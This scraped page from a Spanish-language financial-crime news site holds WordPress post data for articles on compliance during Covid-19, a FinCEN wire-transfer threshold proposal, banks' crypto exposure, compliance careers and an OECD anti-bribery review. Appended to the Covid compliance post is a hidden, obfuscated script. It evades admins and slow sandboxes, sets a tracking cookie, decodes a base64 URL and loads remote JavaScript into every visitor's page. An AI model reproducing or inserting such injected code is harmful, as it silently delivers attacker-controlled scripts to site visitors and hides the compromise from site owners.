adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p><strong>No le tema a la tecnolog\u00eda, m\u00e1s bien abr\u00e1cela<\/strong><\/p>\n\n\n\n<p>Para responder a los delincuentes expertos en tecnolog\u00eda, los bancos est\u00e1n comenzando a experimentar con elementos como inteligencia artificial, aprendizaje autom\u00e1tico y automatizaci\u00f3n con la intenci\u00f3n de analizar datos como nunca antes lo han hecho. \u00bfQu\u00e9 significa eso para usted como solicitante de empleo o incluso para alguien que quiere seguir trabajando?<\/p>\n\n\n\n<p>No deje toda la ingenier\u00eda de sistemas, el an\u00e1lisis de datos, el ajuste del monitoreo de transacciones o la investigaci\u00f3n cibern\u00e9tica en manos de proveedores externos o expertos internos. Descubra c\u00f3mo la tecnolog\u00eda puede potenciar su programa para poder responder con precisi\u00f3n y celeridad cuando los reguladores reanuden su rigorosa labor en un mundo postpandemia.<\/p>\n\n\n\n<p>Pero tambi\u00e9n recuerde que puede ser un gran atributo ser autosuficiente cuando se trata de problemas de software. Eso puede incluir algo tan simple como comprender c\u00f3mo desbloquear su PC o volver a conectarse a su wi-fi, sin tener que realizar una llamada a su chico o chica de \"sistemas\".<\/p>\n\n\n\n<p><strong>No se quede atascado en la investigaci\u00f3n<\/strong><\/p>\n\n\n\n<p>Si bien los oradores acordaron en general que estas nuevas tecnolog\u00edas ayudar\u00e1n a descubrir y combatir mejor a los estafadores, lavadores y otros oligarcas corruptos y sus testaferros, nunca reemplazar\u00e1n la necesidad de un profesional de carne y hueso para la toma de decisiones.<\/p>\n\n\n\n<p>Dondequiera que se encuentre en el campo ALD\/CFT, sea cual sea su rol, para ascender necesita aprender m\u00e1s y nunca dejar de aprender. Algunas veces estos aprendizajes se expanden a los mundos virtuales. <\/p>\n\n\n\n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los 